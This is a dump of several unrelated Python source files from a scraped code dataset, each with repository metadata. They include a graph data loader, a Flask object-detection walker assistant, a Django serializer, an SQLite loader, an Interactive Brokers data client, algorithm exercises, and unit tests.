rel[0], rel[2]] for rel in edges]\n return relations\n\n # tokens = [self.vocabulary.translate(t)[:self.config[\"max_token_length\"]] for t in json_data[\"source_tokens\"]]\n nodes = json_data[\"node_features\"]\n edges = parse_edges(json_data[\"graph\"])\n error_location = json_data[\"targets\"][0][0]\n map_line = json_data[\"map_line\"]\n sample_idx = json_data[\"index\"]\n # repair_targets = json_data[\"repair_targets\"]\n # repair_candidates = [t for t in json_data[\"repair_candidates\"] if isinstance(t, int)]\n # return (tokens, edges, error_location, repair_targets, repair_candidates)\n return (nodes, edges, error_location, map_line, sample_idx)\n\n def to_batch(self, sample_generator, mode):\n if isinstance(mode, bytes): mode = mode.decode('utf-8')\n def sample_len(sample):\n return len(sample[0])\n\n def make_batch(buffer):\n pivot = sample_len(random.choice(buffer))\n buffer = sorted(buffer, key=lambda b: abs(sample_len(b) - pivot))\n batch = []\n max_seq_len = 0\n for sample in buffer:\n max_seq_len = max(max_seq_len, sample_len(sample))\n if max_seq_len * (len(batch) + 1) > self.config[\n 'max_batch_size']: # if adding the current one will exceed the batch token size, then break\n break\n batch.append(sample)\n batch_dim = len(batch)\n buffer = buffer[batch_dim:]\n batch = list(\n zip(*batch)) # change the length from the count of samples to the count of attributes of each sample\n\n token_tensor = tf.ragged.constant(batch[0], dtype=tf.dtypes.float32).to_tensor(shape=(len(batch[0]), max(len(b) for b in batch[0]), self.config[\"w2v_dimension\"]))\n\n # Add batch axis to all edges and flatten\n edge_batches = tf.repeat(tf.range(batch_dim), [len(edges) for edges in batch[\n 1]]) # the process of assigning each edge a batch label\n edge_tensor = tf.concat(batch[1], axis=0)\n edge_tensor = tf.stack([edge_tensor[:, 0], edge_batches, edge_tensor[:, 1], edge_tensor[:, 2]], axis=1)\n\n # Error location is just a simple constant list\n error_location = tf.constant(batch[2], dtype=tf.dtypes.int32)\n # map_node_tensor = tf.constant(batch[3], dtype=tf.dtypes.int32)\n map_line_tensor = tf.ragged.constant(batch[3], dtype=tf.dtypes.int32).to_tensor(shape=(len(batch[0]), max(len(b) for b in batch[0])))\n sample_index = tf.constant(batch[4], dtype=tf.dtypes.int32)\n\n\n\n return buffer, (token_tensor, edge_tensor, error_location, map_line_tensor, sample_index)\n\n buffer = []\n num_samples = 0\n for line in sample_generator:\n json_sample = json.loads(line.numpy())\n sample = self.to_sample(json_sample)\n if sample_len(sample) > self.config['max_node_size']: # let's firstly feed the nodes as sequence. Later should use tokens\n continue\n buffer.append(sample)\n num_samples += 1\n if mode == 'dev' and num_samples >= self.config['max_valid_samples']:\n break\n if sum(sample_len(sample) for l in buffer) > self.config['max_buffer_size'] * self.config['max_batch_size']:\n buffer, batch = make_batch(buffer)\n yield batch\n # return batch\n # Drain the buffer upon completion\n while buffer:\n buffer, batch = make_batch(buffer)\n yield batch\n # return batch\n","repo_name":"ARiSE-Lab/VELVET","sub_path":"src/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":5713,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"67"} +{"seq_id":"15638478018","text":"#print obj count, labels, bounding boxes and accuracy\nimport pdb\nimport csv\nimport os\nos.environ['KMP_DUPLICATE_LIB_OK']='True'\nimport inference\nimport pickle\nimport numpy as np\nimport cv2\n#import tensorflow as tf\nimport tensorflow.compat.v1 as tf\ntf.disable_v2_behavior()\nfrom collections import defaultdict\n\n\nimport flask\nfrom flask import Flask, jsonify, request \n\n# if tf.executing_eagerly():\n# tf.compat.v1.disable_eager_execution()\nimport hparams_config\nimport PIL\nfrom PIL import Image\nfrom pathlib import Path\nfrom visualize import vis_utils\nfrom keras import label_util\nimport matplotlib.pyplot as plt\n# raspberrypi commands\n# from gpiozero import LED\n# from gpiozero.pins.pigpio import PiGPIOFactory\n# from time import sleep\nfrom threading import Thread\n\n# factory = PiGPIOFactory(host='192.168.4.1') #Raspberry Pi IP address\n# right_heptic = LED(17, pin_factory=factory) \n# left_heptic = LED(27, pin_factory=factory)\n\nobjectID = 0\nimage_id = 0\n\nlabel = \"\"\n\nclass Furkan:\n\n def __init__(self,img_id, image_number, boxes, classes, scores, labels, img, pickle_path='data.bin'):\n self.img_id = img_id\n self.image_number = image_number\n self.boxes = boxes\n self.classes = classes\n self.scores = scores\n self.labels = labels\n self.img = img\n self.model = self.load_model(pickle_path)\n\n # creating picStatsie\n def load_model(pickle_path):\n if os.path.isfile(pickle_path):\n with open(pickle_path, 'rb') as f:\n random_forest_model = pickle.load(f)\n else:\n #todo train\n return\n return random_forest_model\n\n def for_Furkan(self):\n #ymin, xmin, ymax, xmax\n print(\"for_Furkan running\")\n i = 0\n global objectID\n\n id_count = 0\n dict = {}\n field_name = [\"image_name\", \"image_id\", \"objectID\", \"class_number\", \"class_name\", \"y_min\", \"x_min\", \"y_max\", \"x_max\", \"accuracy\", \"distance_pred\"]\n\n #adding to dictionary\n # print(\"LEN of SCORES >>>> \" + str(len(self.scores)))\n while i < len(self.scores):\n # print(i)\n if self.scores[i] >= 0.6:\n y_min = self.boxes[i][0]\n x_min = self.boxes[i][1]\n y_max = self.boxes[i][2]\n x_max = self.boxes[i][3]\n certainty = self.scores[i] #percentage of detection confidence\n class_number = self.classes[i] #label for the type of object detected (ex '1' is the label for 'human')\n class_name = self.labels.get(class_number) #name of object detected (ex: 'human', 'chair', etc)\n\n # random forest model to predict distance based on coordinates, certainty, and class num \n distance_pred = self.model.predict([[y_min, x_min, y_max , x_max, certainty, class_number]]) #predictors = ['y_min', 'x_min', 'y_max', 'x_max','prediction', 'class_number']\n # print(\"DISTANCE PREDICTION >>>>>>>>>>\", distance_pred)\n dictionary_entry = {\n \"image_name\": self.image_number, \n \"image_id\": self.img_id, \n \"objectID\": objectID, \n \"class_number\": class_number,\n \"class_name\": class_name, \n \"y_min\": int(y_min), \n \"x_min\": int(x_min), \n \"y_max\": int(y_max), \n \"x_max\": int(x_max), \n \"accuracy\": certainty,\n \"distance_pred\": distance_pred\n }\n #dict.update(dictionary_entry)\n with open('out.csv', 'a') as csvfile:\n writer = csv.DictWriter(csvfile, fieldnames = field_name)\n # writer.writeheader()\n writer.writerow(dictionary_entry)\n print(\"writing dict to .csv = \" + str(dictionary_entry))\n objectID += 1\n # else:\n # print(\"certainty score not high enough\")\n\n i += 1\n\n return dict\n\n # transfering dictionary key/value onto CSV file\n def toCSV(self, dict):\n print(\"toCSV running\")\n with open('out.csv', 'a', newline='') as t:\n thewriter = csv.writer(t)\n for key, value in dict.items():\n thewriter.writerow([key, value])\n # print(\"writing dict to .csv = \" + str(dict))\n t.close()\n\nclass det_model:\n\n def __init__(self, model_file_name = 'efficientdet-d5'):\n print(\"det_model __init__ running\")\n global image_id\n self.sess = self.load_session(model_file_name)\n\n\n def load_session(model_path):\n with tf.Session() as sess:\n tf.saved_model.load(sess, ['serve'], model_path)\n \n return sess \n\n def detect_objcts(img):\n if isinstance(img, str):\n img = np.array(PIL.Image.open(f))\n\n detections = sess.run('detections:0', {'image_arrays:0': [img]})\n return detections\n\n files = list(Path('./data_pics/DataSet5').rglob('*.png'))\n params = inference.hparams_config.get_detection_config('efficientdet-d5').as_dict()\n label_map = params.get('label_map', None)\n\n with tf.Session() as sess:\n tf.saved_model.load(sess, ['serve'], './efficientdet-d5')\n raw_images = []\n for f in tf.io.gfile.glob('./data_pics/Dataset1/*.jpg'):\n raw_images.append(np.array(PIL.Image.open(f)))\n # driver = inference.ServingDriver('efficientdet-d5', './efficientdet-d5', min_score_thresh=0.6)\n for ind, ff in enumerate(files):\n # print(\"INDEX >>> \" + str(ind))\n img_name = os.path.basename(ff)\n detections = sess.run('detections:0', {'image_arrays:0': [raw_images[ind]]})\n up_img = inference.visualize_image_prediction(ind, img_name, raw_images[ind], detections[0], label_map=label_map, min_score_thresh=0.6)\n image_id += 1\n # pdb.set_trace()\n # saving output\n PIL.Image.fromarray(up_img).save('./data_pics/D4&5_processed/' + img_name)\n\ndef right_alert():\n print(\"go right\")\n\ndef left_alert():\n print(\"go left\")\n\ndef right_left_alert():\n print(\"go back\")\n\nlabel_map = label_util.get_label_map('coco')\n\n\ndef give_directions(boxes, classes, scores, distances):\n # cd Desktop/REU_SUMMER21/automl/efficientdet\n # python3 pic_processor.py\n # label_map = label_util.get_label_map('coco')\n # print(\"label_map \", label_map)\n print(\"\\n\\n******new image processed*****\")\n\n personCounter = 0\n personCounter6feet = 0\n objDic = defaultdict(default_factory)\n detectedRight = False\n detectedLeft = False\n detectedFront=False\n\n\n for ind, [y_min, x_min, y_max, x_max] in enumerate(boxes):\n obj_label = label_map.get(classes[ind]) \n print(\"object: \", obj_label)\n print(\"coordinates: \", y_min, x_min, y_max, x_max)\n if (float(distances[ind]) < 72):\n # print(distances[ind])\n if ((float(y_max) > 1.5 * float(x_min)) and (float(y_max) > (-1.5)* (float(x_max)) + 960)):\n print(\"a(n) \"+ obj_label + \" detected in front\")\n detectedFront = True\n #rlAlert = Thread(target=right_left_alert) \n #rlAlert.start() \n elif (float(y_max) > 1.5 * float(x_max)):\n print(\"a(n) \"+ obj_label + \" detected in front on left\")\n detectedLeft = True\n #leftAlert = Thread(target=left_alert)\n #leftAlert.start()\n elif (float(y_max) > (-1.5)* (float(x_min)) + 960):\n print(\"a(n) \"+ obj_label + \" detected in front on right\")\n detectedRight = True\n #rightAlert = Thread(target=right_alert)\n #rightAlert.start()\n else:\n print(\"path clear ahead\")\n \n\n if obj_label == \"person\":\n personCounter+=1\n if float(distances[ind]) < 72:\n personCounter6feet+=1\n else:\n objDic[obj_label][0]+=1\n # first index is number of objects with the same labels, second index is if the object is detected in the front, \n # third index is if the object is detected in the left, fourth is if the obhject is detected in the right.\n if detectedFront == True:\n objDic[obj_label][1]+=1\n if detectedLeft == True:\n objDic[obj_label][2]+=1\n if detectedRight == True:\n objDic[obj_label][3]+=1\n \n\n \n f = open(\"countPeople.txt\", \"w\")\n f.write(str(personCounter))\n f.close()\n\n f = open(\"countPeople6Feet.txt\", \"w\")\n f.write(str(personCounter6feet))\n f.close()\n\n f = open(\"detectObjs.txt\", \"w\")\n f.write(str(dict(objDic)))\n f.close()\n\ndef default_factory():\n return [0, 0, 0, 0]\n\n\ndef cap_retrieve(cap):\n for i in range(4):\n isGrab = cap.grab()\n\n return cap.retrieve()\n\n\n\ndef main():\n # processing data\n print(\"main running\")\n field_name = [\"image_name\", \"image_id\", \"objectID\", \"class_number\", \"class_name\", \"y_min\", \"x_min\", \"y_max\", \"x_max\", \"accuracy\", \"distance_pred\"]\n # adding to dictionary\n with open('out.csv', 'a') as csvfile:\n writer = csv.DictWriter(csvfile, fieldnames = field_name)\n writer.writeheader()\n detect = det_model()\n\napp = Flask(__name__)\n\ndef main_2():\n # Get webcam \n cap = cv2.VideoCapture(\"http://192.168.1.182:8888/\")\n cap.set(cv2.CAP_PROP_BUFFERSIZE, 1)\n print(\"camera started\")\n # cap.set(cv2.CAP_PROP_FPS, 1)\n\n walker = smartWalker()\n # Check if the webcam is opened correctly\n if not cap.isOpened():\n raise IOError(\"Cannot open webcam\")\n\n count = 1\n while True:\n try:\n #capture frame\n print(count)\n count +=1\n ret, frame = cap_retrieve(cap)\n if not ret:\n break\n # cap.release()\n # cap = cv2.VideoCapture(\"http://192.168.4.1:8081/video_feed\")\n # cap.set(cv2.CAP_PROP_BUFFERSIZE, 1)\n frame, boxes, classes, scores, distances = walker.process_img(frame, visualize = False)\n \n # show frame by frame\n\n cv2.imshow('frame', frame)\n key = cv2.waitKey(10)\n #if key == 27: # exit on ESC\n # break\n # boxes, classes, scores, distances = [[0,0,1,0],[0,0,1,0],[0,0,1,0],[0,0,1,0]], [1,1,1,1], [0,0,0,0], [0,0,0,0]\n give_directions(boxes, classes, scores, distances)\n\n except KeyboardInterrupt:\n print(\"Bye\\n\\n\")\n cap.release()\n cv2.destroyAllWindows()\n break\n \n\nclass smartWalker:\n\n def __init__(self, distance_model_path='data.bin',\n det_model_path = './efficientdet-d5'):\n # pdb.set_trace()\n \n self.det_sess = self.load_detection_session(det_model_path)\n self.dist_model = self.load_distance_model(distance_model_path)\n\n\n def load_detection_session(self, det_model_path):\n sess = tf.Session()\n tf.saved_model.load(sess, ['serve'], det_model_path)\n return sess \n\n def load_distance_model(self, dist_model_path):\n model = None\n if os.path.isfile(dist_model_path):\n with open(dist_model_path, 'rb') as f:\n model = pickle.load(f)\n else:\n #todo train\n return model\n \n return model\n\n def process_img(self, img, visualize=False, min_score_thresh=0.6,\n max_boxes_to_draw = 30, line_thickness=2, **kwargs):\n if isinstance(img, str):\n img = np.array(PIL.Image.open(img))\n else:\n img = np.array(img)\n\n params = inference.hparams_config.get_detection_config('efficientdet-d5').as_dict()\n label_map = params.get('label_map', None)\n \n detections = self.det_sess.run('detections:0', {'image_arrays:0': [img]})\n prediction = detections[0]\n boxes = prediction[:, 1:5]\n classes = prediction[:, 6].astype(int)\n scores = prediction[:, 5]\n\n label_map = label_util.get_label_map(label_map or 'coco')\n category_index = {k: {'id': k, 'name': label_map[k]} for k in label_map}\n\n distances = []\n for ind, [y_min, x_min, y_max, x_max] in enumerate(boxes):\n certainty = scores[ind]\n class_number = classes[ind]\n distances.append(self.dist_model.predict([[y_min, x_min, y_max , x_max, certainty, class_number]]))\n\n processed_img = vis_utils.visualize_boxes_and_labels_on_image_array(\n img,\n boxes,\n classes,\n scores,\n category_index,\n distances,\n min_score_thresh=min_score_thresh,\n max_boxes_to_draw=max_boxes_to_draw,\n line_thickness=line_thickness,\n **kwargs)\n if visualize: \n img_plot = plt.imshow(processed_img)\n plt.show()\n\n boxes_filtered = []\n classes_filtered = []\n scores_filtered = []\n distances_filtered = []\n\n for i in range(len(scores)):\n if scores[i] > min_score_thresh:\n boxes_filtered.append(boxes[i])\n classes_filtered.append(classes[i])\n scores_filtered.append(scores[i])\n distances_filtered.append(distances[i])\n\n return processed_img, boxes_filtered, classes_filtered, scores_filtered, distances_filtered\n\n\n@app.route('/', methods=['GET'])\ndef index():\n main_2()\n return 'Machine Learning Inference'\n\n@app.route('/countPeople', methods=['GET'])\ndef index1():\n f = open(\"countPeople.txt\", \"r\")\n theLabel = f.readline()\n print(theLabel)\n return jsonify(theLabel)\n\n@app.route('/countPeople6Feet', methods=['GET'])\ndef index2():\n f = open(\"countPeople6Feet.txt\", \"r\")\n theLabel = f.readline()\n print(theLabel)\n return jsonify(theLabel)\n\n@app.route('/detectObjs', methods=['GET'])\ndef index3():\n f = open(\"detectObjs.txt\", \"r\")\n theLabel = f.readline()\n print(theLabel)\n return jsonify(theLabel)\n\nif __name__ == \"__main__\":\n print(\"main running\")\n app.run(debug=True, host='0.0.0.0')\n \n #main()","repo_name":"paulinaacostac/Shellhacks2021","sub_path":"EfficientNet/pic_processor.py","file_name":"pic_processor.py","file_ext":"py","file_size_in_byte":15032,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"28303116524","text":"import re\nfrom django.contrib.auth import get_user_model # If used custom user model\nfrom rest_framework import serializers\nfrom backend.core.models import Militantes, Instancias, Secretariados, Funcoes\n\n\n\n\nclass InstanciaSecretarioCadastraSerializer(serializers.Serializer):\n instancia = serializers.IntegerField()\n militante = serializers.IntegerField()\n funcao = serializers.CharField()\n\n def validate_funcao(self, value):\n if not Funcoes.objects.filter(id=value).exists():\n raise serializers.ValidationError(\n 'Não existe a função informada.'\n )\n\n return value\n \n def validate_instancia(self, value):\n if not Instancias.objects.filter(id=value).exists():\n raise serializers.ValidationError(\n 'Não existe a instancia informada.'\n )\n\n return value\n \n def validate_militante(self, value):\n if not Militantes.objects.filter(id=value).exists():\n raise serializers.ValidationError(\n 'Não existe o militante informado.'\n )\n\n return value\n \n def validate(self, data):\n if not Militantes.objects.get(id=data['militante']).instancias.filter(id=data['instancia']).exists():\n raise serializers.ValidationError(\n 'Esse militante não pertence a essa instancia.'\n )\n \n if Secretariados.objects.filter(militante=data['militante'],instancia=data['instancia']).exists():\n raise serializers.ValidationError(\n 'Esse militante já é secretário dessa instancia.'\n )\n\n return data\n\n \n def create(self, validated_data):\n militante = Militantes.objects.get(id=validated_data['militante'])\n instancia = Instancias.objects.get(id=validated_data['instancia'])\n funcao = Funcoes.objects.get(id=validated_data['funcao'])\n\n secretario = Secretariados()\n secretario.militante = militante\n secretario.funcao = funcao\n secretario.instancia = instancia\n secretario.save()\n\n return {\n 'instancia': validated_data['instancia'],\n 'militante': validated_data['militante'],\n 'funcao': validated_data['funcao'],\n }\n","repo_name":"lsd1953/mar-len","sub_path":"backend/core/serializers/instancia_secretario_cadastra_serializer.py","file_name":"instancia_secretario_cadastra_serializer.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72564460372","text":"import sqlite3\nimport time\nimport pandas as pd\n\n\ndef load_df_to_sqlite(data, connection, table_name):\n \"\"\"\n :param data: 输入的数据,接受 DataFrame\n :param connection: 数据库连接\n :param table_name: 表名\n :return: 输出执行起止时间\n \"\"\"\n print(f'{len(data)} 行数据被需要被导入')\n print(f\"Now loading table {table_name} information, please wait...\")\n start_time = time.time()\n\n data.to_sql(table_name, connection, if_exists='append', index=False, chunksize=10000)\n\n print(f\"table {table_name} loaded, used time : {time.time() - start_time}\")\n\n\ndef csv_to_data_frame(csv_file_path, col_dict, encoding='utf-8'):\n \"\"\"\n :param csv_file_path: 需要读入的csv文件路径\n :param col_dict: 需要被修改的列名\n :param encoding: 读取csv的编码格式\n :return: 返回修改好列名的 dataFrame\n \"\"\"\n\n data = pd.read_csv(csv_file_path, encoding=encoding)\n data.rename(columns=col_dict, inplace=True)\n # float 只保留8位\n # data = pd.concat([data.iloc[:, 0], data.iloc[:, 1:].applymap(lambda x: \"%.8f\" % x).applymap(float)], axis=1)\n\n return data\n","repo_name":"trx296554555/omacacaServer","sub_path":"script/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27828995810","text":"import sys\n\nfrom oslo_config import cfg\nfrom oslo_log import log as logging\nfrom neutron.common import config as common_config\nfrom neutron.common import utils as n_utils\nfrom neutron.plugins.ml2.drivers.openvswitch.agent.openflow.ovs_ofctl \\\n import br_phys\n\nfrom networking_fortinet.agent.l2.openvswitch import br_int, br_tun\nfrom networking_fortinet.agent.l2.openvswitch import ovs_neutron_agent\n\n\nLOG = logging.getLogger(__name__)\ncfg.CONF.import_group('OVS', 'neutron.plugins.ml2.drivers.openvswitch.agent.'\n 'common.config')\n_main_modules = {\n 'ovs-ofctl': 'networking_fortinet.agent.l2.main'\n}\n\n\ndef init_config():\n pass\n\ndef main():\n common_config.init(sys.argv[1:])\n init_config()\n common_config.setup_logging()\n n_utils.log_opt_values(LOG)\n try:\n cls_br_int = br_int.FortinetOVSIntegrationBridge\n except AttributeError:\n cls_br_int = br_int.OVSIntegrationBridge\n LOG.debug(\"ovs agent br-int class: %(cls_br_int)s\",\n {'cls_br_int': cls_br_int})\n bridge_classes = {\n 'br_int': cls_br_int,\n 'br_phys': br_phys.OVSPhysicalBridge,\n 'br_tun': br_tun.FortinetOVSTunnelBridge,\n }\n ovs_neutron_agent.main(bridge_classes)\n\n","repo_name":"samsu/networking-fortinet","sub_path":"networking_fortinet/agent/l2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40996166656","text":"# MUCD - APPSA PR1\r\n\r\nimport appsa_pr1 as dcase\r\nfrom matplotlib import pyplot as plt\r\n\r\n# [!] Make sure to set the correct paths:\r\n# 'DATASET_PATH' in appsa_pr1.py\r\n# 'workspace' in config.py\r\n\r\nfilename = 'Y__p-iA312kg_70.000_80.000'\r\n\r\n# Waveform representation\r\nplt.figure()\r\nx, fs = dcase.plot_waveform(filename + '.wav')\r\nplt.show()\r\n\r\n\r\n# Mel-spectrogram representation\r\nplt.figure()\r\nmel = dcase.plot_melgram(filename + '.npy')\r\nplt.show()\r\n","repo_name":"fjsaezm/mcd","sub_path":"AUDIO/P1/appsa_pr1_software_2022/appsa_pr1_baseline/appsa_pr1_figures.py","file_name":"appsa_pr1_figures.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"15499302943","text":"from collections import deque\n \n \ndef find(x, par):\n if x == par[x]:\n return x\n par[x] = find(par[x], par)\n return par[x]\n \n \ndef union(x, y, par, cnt):\n x = find(x, par)\n y = find(y, par)\n if len(cnt[x]) < len(cnt[y]):\n x, y = y, x\n par[y] = x\n res = 0\n for i, val in cnt[y].items():\n if i in cnt[x]:\n res += cnt[x][i] * val\n cnt[x][i] += val\n else:\n cnt[x][i] = val\n return res\n \n \nn = int(input())\nedges = [list(map(lambda x: int(x) - 1, input().strip().split())) for _ in range(n - 1)]\nc = list(map(int, input().strip().split()))\nd = list(map(int, input().strip().split()))\nparents = [i for i in range(n)]\ncounter = [{i: 1} for i in c]\ndisconnected = deque([])\nfor i in d[::-1]:\n disconnected.appendleft(\n union(\n edges[i - 1][0],\n edges[i - 1][-1],\n parents,\n counter,\n )\n )\nprint(*disconnected, sep='\\n')\n","repo_name":"Chiki1601/Hackerearth-Solutions","sub_path":"Algorithms/Graphs/Depth first search/Separating Numbers.py","file_name":"Separating Numbers.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"37460785601","text":"from ibapi.client import EClient\nfrom ibapi.wrapper import EWrapper\nfrom ibapi.utils import iswrapper # just for decorator\nfrom ibapi.contract import Contract\nfrom ibapi.common import BarData\nfrom utils import error_handle\n\nimport datetime\n\nclass TestApp(EWrapper, EClient):\n def __init__(self):\n EWrapper.__init__(self)\n EClient.__init__(self, wrapper=self)\n\n @iswrapper\n def nextValidId(self, orderId:int):\n #4 first message received is this one\n # print(\"setting nextValidOrderId: %d\", orderId)\n self.nextValidOrderId = orderId\n #5 start requests here\n self.start()\n\n @iswrapper\n def historicalData(self, reqId:int, bar: BarData):\n #7 data is received for every bar\n print(\"HistoricalData. ReqId:\", reqId, \"Date:\", bar.date, \"Open:\", bar.high,\n \"High:\", bar.open, \"Low:\", bar.low, \"Close:\", bar.close, \"Volume:\", bar.volume,\n \"TradeCount:\", bar.barCount, \"WeightAvgPrice:\", bar.average)\n\n def historicalDataEnd(self, reqId: int, start: str, end: str):\n #8 data is finished\n print(\"HistoricalDataEnd. ReqId:\", reqId, \"from\", start, \"to\", end)\n #9 this is the logical end of your program\n self.disconnect()\n\n @iswrapper\n def error(self, reqId, errorCode, errorString):\n if error_handle(errorCode):\n self.done = True\n\n def start(self):\n queryTime = (datetime.datetime.today() - datetime.timedelta(days=3)).strftime(\"%Y%m%d %H:%M:%S\")\n\n contract = Contract()\n contract.secType = \"CASH\"\n contract.symbol = \"USD\"\n contract.currency = \"JPY\"\n contract.exchange = \"IDEALPRO\"\n\n # contract = Contract()\n # contract.symbol = \"FB\"\n # contract.secType = \"STK\"\n # contract.currency = \"USD\"\n # contract.exchange = \"SMART\"\n # contract.primaryExchange = 'NASDAQ'\n\n #6 request data, using fx data because its free on demo\n self.reqHistoricalData(1004, contract, queryTime,\n \"1 D\", \"1 day\", \"MIDPOINT\", 1, 1, False, [])\n\ndef main():\n app = TestApp()\n app.connect(\"127.0.0.1\", 7497, clientId=100) #2 connect to TWS/IBG\n app.run() #3 start message thread\n\nif __name__ == \"__main__\":\n main()","repo_name":"bricksz/ib-algo-trader","sub_path":"main/IB_ReqHistData.py","file_name":"IB_ReqHistData.py","file_ext":"py","file_size_in_byte":2272,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"23603500840","text":"import sys\n\n\ndef push(x):\n stack.append(x)\n\n\ndef pop():\n if (len(stack) == 0):\n return -1\n else:\n return stack.pop()\n\n\ndef size():\n return len(stack)\n\n\ndef empty():\n if (len(stack) == 0):\n return 1\n else:\n return 0\n\n\ndef top():\n if (len(stack) == 0):\n return -1\n else:\n return stack[-1]\n\n\nx = int(input())\nstack = []\nfor i in range(x):\n str = sys.stdin.readline().rstrip().split()\n if str[0] == \"push\":\n push(str[1])\n elif str[0] == \"pop\":\n print(pop())\n elif str[0] == \"empty\":\n print(empty())\n elif str[0] == \"size\":\n print(size())\n elif str[0] == \"top\":\n print(top())","repo_name":"sumini0516/CodingTestStudy","sub_path":"data structure/10828.py","file_name":"10828.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7156273254","text":"from tkinter import *\r\n#() = tupla(imutavel)\r\n#[] = lista(modificavel)\r\n\r\nfood = ['Pizza','Frango','Drink'] #< 0:\n # if it exists, we get the line we are on.\n log_entry = log_file.get_line(config_file_object.current_line)\n\n # log information in the debuf file when debugging.\n if DEBUG:\n with open(config_file_object.get_debug_log(), 'a+') as debug_file:\n debug_file.write(\n 'log_entry: ' + ','.join(log_entry) + '\\n')\n\n # increment the current line count so we know to do the next entry next.\n config_file_object.increment_current_line()\n\n # split and parse the log entry.\n log_date = log_entry[0]\n lab = log_entry[1]\n file_name = log_entry[5].strip('()')\n net_id = log_entry[2]\n email = log_entry[6]\n\n # move into the student's folder on the server.\n os.chdir(config_file_object.live_dir + net_id)\n\n # if they don't have a TMP_DELETE folder, create it.\n if not os.path.exists(\"TMP_DELETE\"):\n os.mkdir(\"TMP_DELETE\")\n else:\n # otherwise, remove the folder and recreate it.\n if DEBUG:\n with open(config_file_object.get_debug_log(), 'a+') as debug_file:\n debug_file.write('Removing TMP_DELETE\\n')\n shutil.rmtree(\"TMP_DELETE\")\n os.mkdir(\"TMP_DELETE\")\n\n # log the current directory when debugging.\n if DEBUG:\n with open(config_file_object.get_debug_log(), 'a+') as debug_file:\n debug_file.write(str(os.getcwd()) + '\\n')\n\n # unzip the student code zip archive.\n # unzip -o -qq -d TMP_DELETE\n if not WIN_DEBUG: # unzip doesn't exist on Windows systems.\n subprocess.call([config_file_object.unzip, '-o', '-qq', file_name, '-d', 'TMP_DELETE'],\n stdin=subprocess.DEVNULL)\n else:\n with open(config_file_object.get_debug_log(), 'a+') as debug_file:\n debug_file.write('Unzipping file: ' + file_name + '\\n')\n\n # run the student code.\n run_student_code(lab, net_id, email, log_date)\n\n elif valid_log_line < 0:\n # if the log file has been removed, tell the config file to start over at 0.\n config_file_object.set_current_line(0)\n except KeyboardInterrupt:\n # ctrl + c SIGINT, just exit.\n exit(0)\n except Exception as error:\n # log any error messages.\n with open(config_file_object.get_error_log(), 'a+') as error_log:\n error_log.write(str(datetime.datetime.now()) +\n ': ' + str(error) + '\\n')\n\n\n# run the driver.\nsubmission_driver()\n","repo_name":"mikeliddle/CS235-Test-Driver","sub_path":"Compile_Driver.py","file_name":"Compile_Driver.py","file_ext":"py","file_size_in_byte":11243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11013507291","text":"import itertools\nfrom unittest import main\n\nfrom omnitune import skelcl\n\nfrom labm8.py.tests.testutil import TestCase\n\n\nclass TestSkelCL(TestCase):\n\n # hash_params()\n def test_hash_params(self):\n vals = range(4, 40, 4)\n wgs = itertools.product(vals, vals)\n checksums = [skelcl.hash_params(*wg) for wg in wgs]\n print(checksums)\n self._test(len(checksums), len(set(checksums)))\n\n # hash_dataset()\n def test_hash_dataset(self):\n vals = [\n [1024, 1024, \"int\", \"float\"],\n [1024, 2048, \"int\", \"float\"],\n [1024, 1024, \"float\", \"float\"],\n [1024, 1024, \"int\", \"int\"],\n ]\n checksums = [skelcl.hash_dataset(*val) for val in vals]\n print(checksums)\n self._test(len(checksums), len(set(checksums)))\n\n # checksum_str()\n def test_checksum_str(self):\n self._test(\n \"a9993e364706816aba3e25717850c26c9cd0d89d\", skelcl.checksum_str(\"abc\")\n )\n self._test(\n \"835fcc99584b3e47546bd1819a157831a4fcf0e2\", skelcl.checksum_str(\"a\\nc\")\n )\n self._test(\n \"da39a3ee5e6b4b0d3255bfef95601890afd80709\", skelcl.checksum_str(\"\")\n )\n self._test(\n \"9e97c70ba595f82d52b11d5602567c2410cf9b84\",\n skelcl.checksum_str(self.stencil_gaussian_kernel),\n )\n\n # get_user_source()\n def test_get_user_source(self):\n self._test(\n self.stencil_gaussian_kernel_user,\n skelcl.get_user_source(self.stencil_gaussian_kernel),\n )\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ChrisCummins/phd","sub_path":"gpu/omnitune/tests/test_skelcl.py","file_name":"test_skelcl.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","stars":181,"dataset":"github-code","pt":"67"} +{"seq_id":"1554649537","text":"import math\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport dsntnn\nfrom ..builder import LOSSES\nfrom ..utils.realnvp import RealNVP\n\n\n@LOSSES.register_module()\nclass RLELoss(nn.Module):\n \"\"\"RLE Loss.\n\n `Human Pose Regression With Residual Log-Likelihood Estimation\n arXiv: `_.\n\n Code is modified from `the official implementation\n `_.\n\n Args:\n use_target_weight (bool): Option to use weighted MSE loss.\n Different joint types may have different target weights.\n size_average (bool): Option to average the loss by the batch_size.\n residual (bool): Option to add L1 loss and let the flow\n learn the residual error distribution.\n q_dis (string): Option for the identity Q(error) distribution,\n Options: \"laplace\" or \"gaussian\"\n \"\"\"\n\n def __init__(self,\n use_target_weight=False,\n size_average=True,\n residual=True,\n q_dis='laplace'):\n 